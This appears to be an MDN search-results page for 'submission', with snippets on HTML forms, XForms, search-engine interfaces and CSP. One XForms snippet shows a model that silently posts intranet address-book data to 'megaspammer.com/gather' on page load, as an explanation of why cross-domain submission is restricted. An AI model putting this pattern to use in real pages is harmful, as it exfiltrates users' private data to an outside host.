Search completed in 1.67 seconds.
nsISearchSubmission
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) attributes attribute type description postdata nsiinputstream the post data associated with a search
submission, wrapped in a mime input stream.
nsISearchEngine
last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) inherits from: nsisupports method overview void addparam(in astring name, in astring value, in astring responsetype); nsisearch
submission get
submission(in astring data, [optional] in astring responsetype, [optional] in astring purpose); boolean supportsresponsetype(in astring responsetype); attributes attribute type description alias astring an optional shortcut alias for the engine.
... methods addparam() adds a parameter to the search engine's
submission data.
...if value is "{searchterms}", it will be substituted with the user-entered data when retrieving the
submission.
...And 6 more matches
<input>: The Input (Form Input) element - HTML: Hypertext Markup Language
all hint for form autofill feature autofocus all automatically focus the form control when the page is loaded capture file media capture input method in file upload controls checked radio, checkbox whether the command or control is checked dirname text, search name of form field to use for sending the element's directionality in form
submission disabled all whether the form control is disabled form all associates the control with a form element formaction image, submit url to use for form
submission formenctype image, submit form data set encoding type to use for form
submission formmethod image, submit http method to use for form
submission formnovalida...
...te image, submit bypass form control validation for form
submission formtarget image, submit browsing context for form
submission height image same as height attribute for <img>; vertical dimension list almost all value of the id attribute of the <datalist> of autocomplete options max numeric types maximum value maxlength password, search, tel, text, url maximum length (number of characters) of value min numeric types minimum value minlength password, search, tel, text, url minimum length (number of characters) of value multiple email, file boolean.
... dirname valid for text and search input types only, the dirname attribute enables the
submission of the directionality of the element.
...And 6 more matches
Sending forms through JavaScript - Learn web development
gaining control of the global interface standard html form
submission, as described in the previous article, loads the url where the data was sent, which means the browser window navigates with a full page load.
... many modern uis only use html forms to collect input from the user, and not for data
submission.
... for( name in data ) { urlencodeddatapairs.push( encodeuricomponent( name ) + '=' + encodeuricomponent( data[name] ) ); } // combine the pairs into a single string and replace all %-encoded spaces to // the '+' character; matches the behaviour of browser form
submissions.
...And 4 more matches
Implementation Status - Archive of obsolete content
ted 3.2.5 model item property attributes partial in some cases a loop error can occur on valid bindings 302168; 3.3.1 model supported 3.3.2 instance partial instance element with two child element does not trigger exception 337302; 3.3.3
submission partial no support for @indent and complex schema validation 278761; 278762; 3.3.4 bind partial using the index() function in binds does not work.
... 4.6.5 for submit controls supported 4.6.6 sequence: selection without value change supported 4.6.7 sequence: value change with focus change supported 4.6.8 sequence: activating a trigger supported 4.6.9 sequence:
submission supported 4.7 resolving id references in xforms unsupported 4.7.1 references to elements within a repeat element unsupported 4.7.2 references to elements within a bind element unsupported 4.8 dom interface for access to ins...
...ic dependencies partial we probably already do most of it due to our 1.0 work, but we haven't verified we meet the 1.1 standards, yet 7.4 expression categories supported 7.4.2 model binding expressions and computed expressions supported 7.4.3 expressions in actions and
submissions partial 7.4.4 ui expressions partial scenarios exist where controls contained inside other controls inside a repeat won't be bound correctly 333638; 7.4.5 ui binding in other xml vocabularies unsupported not a compliance requirement for an xforms processor 7.4.6 binding e...
...And 3 more matches
Cognitive accessibility - Accessibility
if the error prevented a form
submission, focus on the error.
... also, provide feedback on when there is a successful form
submission.
... prevent catastrophes for
submissions that cause, or can lead to, legal, financial, or other significant consequences, ensure that the
submissions can be reviewed, confirmed, and/or are reversible.
...And 3 more matches
<form> - HTML: Hypertext Markup Language
attributes for form
submission the following attributes control behavior during form
submission.
... action the url that processes the form
submission.
... enctype if the value of the method attribute is post, enctype is the mime type of the form
submission.
... dialog: when the form is inside a <dialog>, closes the dialog on
submission.
HTML documentation index - HTML: Hypertext Markup Language
if the max attribute is valid and a non-empty value is greater than the maximum allowed by the max attribute, constraint validation will prevent form
submission.
...a checkbox allows you to select single values for
submission in a form (or not).
...once chosen, the files can be uploaded to a server using form
submission, or manipulated using javascript code and the file api.
... 145 <keygen> deprecated, element, html, html5, obsolete, reference, web the html <keygen> element exists to facilitate generation of key material, and
submission of the public key as part of an html form.
Index - Archive of obsolete content
cfx is is no longer supported as of firefox 44 and no longer accepted for add-on
submission, jpm should now be used instead.
... 2231 xforms submit element xforms this form control initiates a
submission.
...upon receiving a domactivate event, this form control dispatches a xforms-submit event to the
submission element (see the spec) specified in its
submission attibute.
Troubleshooting XForms Forms - Archive of obsolete content
submission not working if you are trying to replace="instance" make sure that the document being returned is xml.
... on most webservers you cannot use <
submission method="post" action="file.xml"> to a static xml file.
... if you are trying to submit to a different domain than the form is loaded from, make sure that you have allowed cross-domain
submission for that specific "form domain".
XForms Submit Element - Archive of obsolete content
introduction this form control initiates a
submission.
...upon receiving a domactivate event, this form control dispatches a xforms-submit event to the
submission element (see the spec) specified in its
submission attibute.
... single-node binding special
submission - required reference to element
submission.
Understandable - Accessibility
3.3.4 error prevention (legal, financial, data) (aa) in the case of forms involved with entry of sensitive data (such as legal agreements, e-commerce transactions, or personal data), at least one of the following should be true:
submissions are reversible.
... a mechanism is available for confirming and correcting information before final
submission.
... 3.3.5 context-sensitive help is available (aaa) provide instructions and other appropriate cues in context to aid form completion and
submission.
cfx - Archive of obsolete content
cfx is no longer supported as of firefox 44 and no longer accepted for add-on
submission.
...cfx is is no longer supported as of firefox 44 and no longer accepted for add-on
submission, jpm should now be used instead.
Search Extension Tutorial (Draft) - Archive of obsolete content
if (engine && engine.get
submission("_searchterms_").uri.spec == engine_details.url) services.search.removeengine(engine); } } function install() {} function uninstall() {} the complex method requires two files, an xml search description file and a javascript file to register the engine.
... if (engine && engine.get
submission("_searchterms_").uri.spec == engine_details.url) services.search.removeengine(engine); } } function install() {} function uninstall() {} changing the location bar keyword url the preferred method for changing the keyword url is to add a new search engine as described above and change the browser.search.defaultenginename preference to its name.
Mozilla XForms Specials - Archive of obsolete content
misc cross domain
submission not exactly either a limitation, or an extension, but it is worth mentioning here.
...if you are wondering why we have this restriction, here is a simple example of why: <xforms:model> <xforms:instance src="http://intranetserver/addrbook.xml"/> <xforms:
submission id="sub" action="http://megaspammer.com/gather" method="post"/> <xforms:send
submission="sub" ev:event="xforms-ready"/> </xforms:model> this imaginary would fetch something that is only accessible for you (f.x.
Client-side form validation - Learn web development
when this attribute is set, the element matches the :required ui pseudo-class and the form won't submit, displaying an error message on
submission when the input is empty.
...this renders the input invalid, so that when you try to submit the form,
submission fails and the custom error message is displayed.
Introduction to events - Learn web development
when you fill in the details and select the submit button, the natural behavior is for the data to be submitted to a specified page on the server for processing, and the browser to be redirected to a "success message" page of some kind (or the same page, if another is not specified.) the trouble comes when the user has not submitted the data correctly — as a developer, you want to prevent the
submission to the server and give an error message saying what's wrong and what needs to be done to put things right.
...if they are, we call the preventdefault() function on the event object — which stops the form
submission — and then display an error message in the paragraph below our form to tell the user what's wrong: const form = document.queryselector('form'); const fname = document.getelementbyid('fname'); const lname = document.getelementbyid('lname'); const para = document.queryselector('p'); form.onsubmit = function(e) { if (fname.value === '' || lname.value === '') { e.preventdefault(); para.
React interactivity: Events and state - Learn web development
handling form
submission at the top of the form() component function, create a function named handlesubmit().
... handling form
submission via callbacks inside the top of our app() component function, create a function named addtask() which has a single parameter of name: function addtask(name) { alert(name); } next, we'll pass addtask() into <form /> as a prop.
Adding a new todo form: Vue events, methods, and models - Learn web development
what we really need next is the ability to allow our users to enter their own todo items into the app, and for that we'll need a text <input>, an event to fire when the data is submitted, a method to fire upon
submission to add the data and rerender the list, and a model to control the data.
... go back to app.vue and update this now: methods: { addtodo(todolabel) { console.log('to-do added:', todolabel); } } if you test your form again, you'll see whatever text you enter logged in your console upon
submission.
PaymentCurrencyAmount.value - Web APIs
see the example verifying a properly formatted price below for a simple regular expression that can be used to validate the value string prior to
submission.
...$42.95 in us dollars: let itemprice = { currency: "usd", value: "42.95" }; this example specifies a price of £7.77: let shippingcost = { currency: "gbp", value: "7.77" } this example specifies a price of 1000¥: let price = { currency: "jpy", value: "1000" } verifying a properly formatted price you can ensure that the value entered as a price is formatted correctly prior to
submission by matching it against a simple regular expression: function checkpriceformat(price) { let validregex = /^-?[0-9]+(\.[0-9]+)?$/; return validregex.test(price); } this function, checkpriceformat(), will return true if the specified price string is formatted properly, or false if it's not.
SubmitEvent.submitter - Web APIs
while this is often an <input> element whose type or a <button> whose type is submit, it could be some other element which has initiated a
submission process.
... if the
submission was not triggered by a button of some kind, the value of submitter is null.
HTML attribute reference - HTML: Hypertext Markup Language
formenctype <button>, <input> if the button/input is a submit button (type="submit"), this attribute sets the encoding type to use during form
submission.
... formmethod <button>, <input> if the button/input is a submit button (type="submit"), this attribute sets the
submission method to use during form
submission (get, post, etc.).
<input type="image"> - HTML: Hypertext Markup Language
alt alternate string to display when the image can't be shown formaction the url to which to submit the data formenctype the encoding method to use when submitting the form data formmethod the http method to use when submitting the form formnovalidate a boolean which, if present, indicates that the form shouldn't be validated before
submission formtarget a string indicating a browsing context from where to load the results of submitting the form height the height, in css pixels, at which to draw the image src the url from which to load the image width the width, in css pixels, at which to draw the image alt the alt attribute provides an alternate string to use as the button's labe...
... formnovalidate a boolean attribute which, if present, specifies that the form should not be validated before
submission to the server.
<input type="text"> - HTML: Hypertext Markup Language
basic example <form> <div> <label for="uname">choose a username: </label> <input type="text" id="uname" name="name"> </div> <div> <button>submit</button> </div> </form> this renders like so: when submitted, the data name/value pair sent to the server will be uname=chris (if "chris" was entered as the input value before
submission).
... making input required you can use the required attribute as an easy way of making entering a value required before form
submission is allowed: <form> <div> <label for="uname">choose a username: </label> <input type="text" id="uname" name="name" required> <span class="validity"></span> </div> <div> <button>submit</button> </div> </form> div { margin-bottom: 10px; position: relative; } input + span { padding-right: 30px; } input:invalid+span:after { position: absolute; content: '✖'; padding-left: 5...
<keygen> - HTML: Hypertext Markup Language
the html <keygen> element exists to facilitate generation of key material, and
submission of the public key as part of an html form.
... here is an example form
submission as it would be delivered to a cgi program by the http server: commonname=john+doe&email=doe@foo.com&org=foobar+computing+corp.& orgunit=bureau+of+bureaucracy&locality=anytown&state=california&country=us& key=mihfmhewxdanbgkqhkig9w0baqefaanladbiakeanx0tiljromuue%2bptwbre6xfv%0awtkqbsshxk5zhcuwcwyvcniq9b82qhjdoacdd34rqfcaind46fxkqunb0mvkzqid%0aaqabfhfnb3ppbgxhsxnneuzyawvuzdanbgkqhkig9w0ba...
CSP: form-action - HTTP
the http content-security-policy (csp) form-action directive restricts the urls which can be used as the target of a form
submissions from a given context.
... whether form-action should block redirects after a form
submission is debated and browser implementations of this aspect are inconsistent (e.g.
Tamarin Build System Documentation - Archive of obsolete content
compile, smoke, or test to show the build slaves from the most recent phase run or click on an individual box to display the test result below the phase table the waterfall displays each buildstep and result the left side contains the time column and the user/revision link to represent the revision triggering a build, mouse over the user to see the revision and
submission notes each buildstep run on a slave is a box with color indicating status, red is failed, green passed, yellow has warnings click the stdio link to see the output click on the build yellow box at the bottom of a set of buildsteps to see the result of all of the buildsteps for a build and the time each buildstep took scroll down to see previous builds triggered at the bottom of the page click o...
2006-11-10 - Archive of obsolete content
important dates: technical
submissions: monday 19th feb 2007 technical paper notification: friday 16th march 2007 communication
submissions: monday 26th march 2007 communication paper notification: friday 06th april 2007 all camera ready due: monday 16th april 2007 conference dates: monday 07th and tuesday 08th may 2007 notable keynotes representatives from w3c, ibm, university of manchester, uk and oxford brookes university, uk.
Game distribution - Game development
the chrome web store is also an attractive option — again, having a manifest file ready, zipping your game and filling in the online
submission form is about all that's required.
Gecko FAQ - Gecko Redirect 1
layout component tracks content layout bugs that may be related to a variety of specifications html 4.0 elements, form controls, frames, tables, and form
submission bug reports marked with the html4 keyword "meta bug" for tracking outstanding issues with html 4.01 compliance css: style system component (see also bug reports marked with the css1, css2, and css3 keywords) dom: see dom0, dom1, dom2 and event handling components xml rdf core javascript language interpreter (javascript engine) http 1.1 compliance bugs should generally be found on...
CSS and JavaScript accessibility best practices - Learn web development
in addition, the errorfield is placed at the top of the source order (although it is positioned differently in the ui using css), meaning that users can find out exactly what's wrong with their form
submissions and get to the input elements in question by going back up to the start of the page.
Client-side storage - Learn web development
below your previous event handler (but still inside the window.onload handler), add the following line, which sets up an onsubmit handler that runs a function called adddata() when the form is submitted (when the submit <button> is pressed leading to a successful form
submission): // create an onsubmit handler so that when the form is submitted the adddata() function is run form.onsubmit = adddata; now let's define the adddata() function.
Rendering a list of Vue components - Learn web development
what we really need next is the ability to allow our users to enter their own todo items into the app, and for that we'll need a text <input>, an event to fire when the data is submitted, a method to fire upon
submission to add the data and rerender the list, and a model to control the data.
Understanding client-side JavaScript frameworks - Learn web development
what we really need next is the ability to allow our users to enter their own todo items into the app, and for that, we'll need a text <input>, an event to fire when the data is submitted, a method to fire upon
submission to add the data and rerender the list, and a model to control the data.
Accessibility information for UI designers and developers
this is specifically important in these cases: the user input is about legal commitments or financial transactions it updates or removes the user's data in a system when recording tests responses in those cases, ensure users can change
submissions, automatically check for errors.
Mozilla's Section 508 Compliance
(l) when electronic forms are used, the form shall allow people using assistive technology to access the information, field elements, and functionality required for completion and
submission of the form, including all directions and cues.
Index
683 source code
submission add-ons, extensions, review policy, distribution to complete the review process at addons.mozilla.org (amo), reviewers must be able to read the code in your extension.
Lightweight themes
submitting your theme image to get started submitting your images, go to the theme
submission page: name your theme — pick a unique name for your theme.
Translation phase
this tool includes workspaces for translating strings, reviewing string
submissions, and project dashboards.
Mozilla Port Blocking
-srv / epmap 139 netbios 143 imap2 179 bgp 389 ldap 465 smtp+ssl 512 print / exec 513 login 514 shell 515 printer 526 tempo 530 courier 531 chat 532 netnews 540 uucp 556 remotefs 563 nntp+ssl 587
submission 601 syslog 636 ldap+ssl 993 imap+ssl 995 pop3+ssl 2049 nfs 4045 lockd 6000 x11 protocol specific exceptions each protocol handler can override the global blocked ports to allow it's own protocol to function.
XForms Accessibility
submit invokes the
submission of the selected instance data to its target destination (see the spec, the docs).
Index
890 nsisearchengine inherits from: nsisupports 891 nsisearch
submission interfaces, interfaces:scriptable, xpcom, xpcom interface reference no summary!
nsICrashReporter
only https and http urls are allowed, as the
submission is handled by os-native networking libraries.
XPCOM Interface Reference
icensipushsubscriptionnsiradiointerfacelayernsirandomgeneratornsirequestnsirequestobservernsiresumablechannelnsirunnablensishentrynsishistorynsishistorylistenernsisockssocketinfonsisslerrorlistenernsisslsocketcontrolnsiscreennsiscreenmanagernsiscripterrornsiscripterror2nsiscriptableionsiscriptableinputstreamnsiscriptableunescapehtmlnsiscriptableunicodeconverternsiscrollablensisearchenginensisearch
submissionnsisecuritycheckedcomponentnsiseekablestreamnsiselectionnsiselection2nsiselection3nsiselectioncontrollernsiselectionimageservicensiselectionprivatensiserversocketnsiserversocketlistenernsiservicemanagernsisessionstartupnsisessionstorensisimpleenumeratornsismsdatabaseservicensismsrequestmanagernsismsservicensisocketprovidernsisocketproviderservicensisockettransportnsisockettransportservicensisoundn...
XPCOM Interface Reference by grouping
cache nsicache nsicachedeviceinfo nsicacheentrydescriptor nsicacheentryinfo nsicachelistener nsicachemetadatavisitor nsicacheservice nsicachesession nsicachevisitor nsicachingchannel nsiselectionimageservice chrome nsisearchengine nsisearch
submission nsiwebbrowserchrome nsiwindowcreator nsiwindowmediator nsiwindowwatcher clipboard nsiclipboard nsiclipboardcommands nsiclipboarddragdrophooklist nsiclipboarddragdrophooks nsiclipboardhelper nsiclipboardowner core action nsitransactionman...
URLs - Plugins
possible url types include http (similar to an html form
submission), mailto (sending mail), news (posting a news article), and ftp (uploading a file).
Constraint validation API - Web APIs
if you don't do this, and a custom validity was previously set, the input will register as invalid, even if it current contains a valid value on
submission.
Using FormData Objects - Web APIs
typically this is used as shown in our simple formdata event demo — in the javascript we reference a form: const formelem = document.queryselector('form'); in our submit event handler we use preventdefault to stop the default form
submission, then invoke a formdata constructor to trigger the formdata event: formelem.addeventlistener('submit', (e) => { // on form
submission, prevent default e.preventdefault(); // construct a formdata object, which fires the formdata event new formdata(formelem); }); when the formdata event fires we can access the formdata object using formdataevent.formdata, then do what we like with it (be...
FormData - Web APIs
you can also pass it directly to the urlsearchparams constructor if you want to generate query parameters in the way a <form> would do if it were using simple get
submission.
FormDataEvent.formData - Web APIs
examples // grab reference to form const formelem = document.queryselector('form'); // submit handler formelem.addeventlistener('submit', (e) => { // on form
submission, prevent default e.preventdefault(); // construct a formdata object, which fires the formdata event new formdata(formelem); }); // formdata handler to retrieve data formelem.addeventlistener('formdata', (e) => { console.log('formdata fired'); // get the form data from the event object let data = e.formdata; for (var value of data.values()) { console.log(value); } // sub...
FormDataEvent - Web APIs
examples // grab reference to form const formelem = document.queryselector('form'); // submit handler formelem.addeventlistener('submit', (e) => { // on form
submission, prevent default e.preventdefault(); // construct a formdata object, which fires the formdata event new formdata(formelem); }); // formdata handler to retrieve data formelem.addeventlistener('formdata', (e) => { console.log('formdata fired'); // get the form data from the event object let data = e.formdata; for (var value of data.values()) { console.log(value); } // sub...
GlobalEventHandlers.onformdata - Web APIs
examples // grab reference to form const formelem = document.queryselector('form'); // submit handler formelem.addeventlistener('submit', (e) => { // on form
submission, prevent default e.preventdefault(); // construct a formdata object, which fires the formdata event new formdata(formelem); }); // formdata handler to retrieve data formelem.onformdata = (e) => { console.log('formdata fired'); // get the form data from the event object let data = e.formdata; for (var value of data.values()) { console.log(value); } // submit the data via...
HTMLFormElement: formdata event - Web APIs
general info bubbles no cancelable no interface formdataevent event handler property globaleventhandlers.onformdata examples // grab reference to form const formelem = document.queryselector('form'); // submit handler formelem.addeventlistener('submit', (e) => { // on form
submission, prevent default e.preventdefault(); // construct a formdata object, which fires the formdata event new formdata(formelem); }); // formdata handler to retrieve data formelem.addeventlistener('formdata', (e) => { console.log('formdata fired'); // get the form data from the event object let data = e.formdata; for (var value of data.values()) { console.log(value); } // sub...
HTMLFormElement - Web APIs
f.action = "a-different-url.cgi"; f.name = "a-different-name"; } </script> submit a <form> into a new window: <!doctype html> <html> <head> <meta charset="utf-8"> <title>example new-window form
submission</title> </head> <body> <form action="test.php" target="_blank"> <p><label>first name: <input type="text" name="firstname"></label></p> <p><label>last name: <input type="text" name="lastname"></label></p> <p><label><input type="password" name="pwd"></label></p> <fieldset> <legend>pet preference</legend> <p><label><input type="radio" name="pet" value="cat"> cat</label></p> <p>...
HTMLInputElement: invalid event - Web APIs
bubbles no cancelable yes interface event event handler property globaleventhandlers.oninvalid this event can be useful for displaying a summary of the problems with a form on
submission.
Navigator.sendBeacon() - Web APIs
this solves all of the problems with
submission of analytics data: the data is sent reliably it's sent asynchronously it doesn't impact the loading of the next page in addition, the code is simpler to write than any of the older techniques!
PerformanceNavigation.type - Web APIs
possible values are: value constant name meaning 0 type_navigate the page was accessed by following a link, a bookmark, a form
submission, a script, or typing the url in the address bar.
PerformanceNavigation - Web APIs
possible values are: type_navigate (0) the page was accessed by following a link, a bookmark, a form
submission, or a script, or by typing the url in the address bar.
PerformanceNavigationTiming.type - Web APIs
the value must be one of the following: navigate navigation started by clicking a link, entering the url in the browser's address bar, form
submission, or initializing through a script operation other than reload and back_forward as listed below.
ARIA: form role - Accessibility
anything that is not a <form> cannot be submitted, therefore you would have to use javascript to build an alternative data
submission mechanism, for example with xmlhttprequest.
ARIA: textbox role - Accessibility
javascript features all features associated with any and all properties and states must be maintained, and forms
submission on enter or return on a single line textbox needs to be handled.
:optional - CSS: Cascading Style Sheets
this will ensure that people navigating with the aid of assistive technology such as a screen reader will be able to understand which inputs need valid content to ensure a successful form
submission.
:required - CSS: Cascading Style Sheets
this will ensure that people navigating with the aid of assistive technology such as a screen reader will be able to understand which inputs need valid content to ensure a successful
submission.
<input type="search"> - HTML: Hypertext Markup Language
making input required you can use the required attribute as an easy way of making entering a value required before form
submission is allowed: <form> <div> <input type="search" id="mysearch" name="q" placeholder="search the site..." required> <button>search</button> <span class="validity"></span> </div> </form> input { margin-right: 10px; } input:invalid ~ span:after { content: '✖'; padding-left: 5px; position: absolute; } input:valid ~ span:after { content: '✓'; padding-lef...
CSP: navigate-to - HTTP
note: if the form-action directive is present, the navigate-to directive will not act on navigations that are form
submissions.
Content-Type - HTTP
examples content-type in html forms in a post request, resulting from an html form
submission, the content-type of the request is specified by the enctype attribute on the <form> element.
Index - HTTP
35 csp: form-action csp, directive, http, security the http content-security-policy (csp) form-action directive restricts the urls which can be used as the target of a form
submissions from a given context.
HTTP Index - HTTP
83 csp: form-action csp, content-security-policy, directive, http, security, action, form, form-action the http content-security-policy (csp) form-action directive restricts the urls which can be used as the target of a form
submissions from a given context.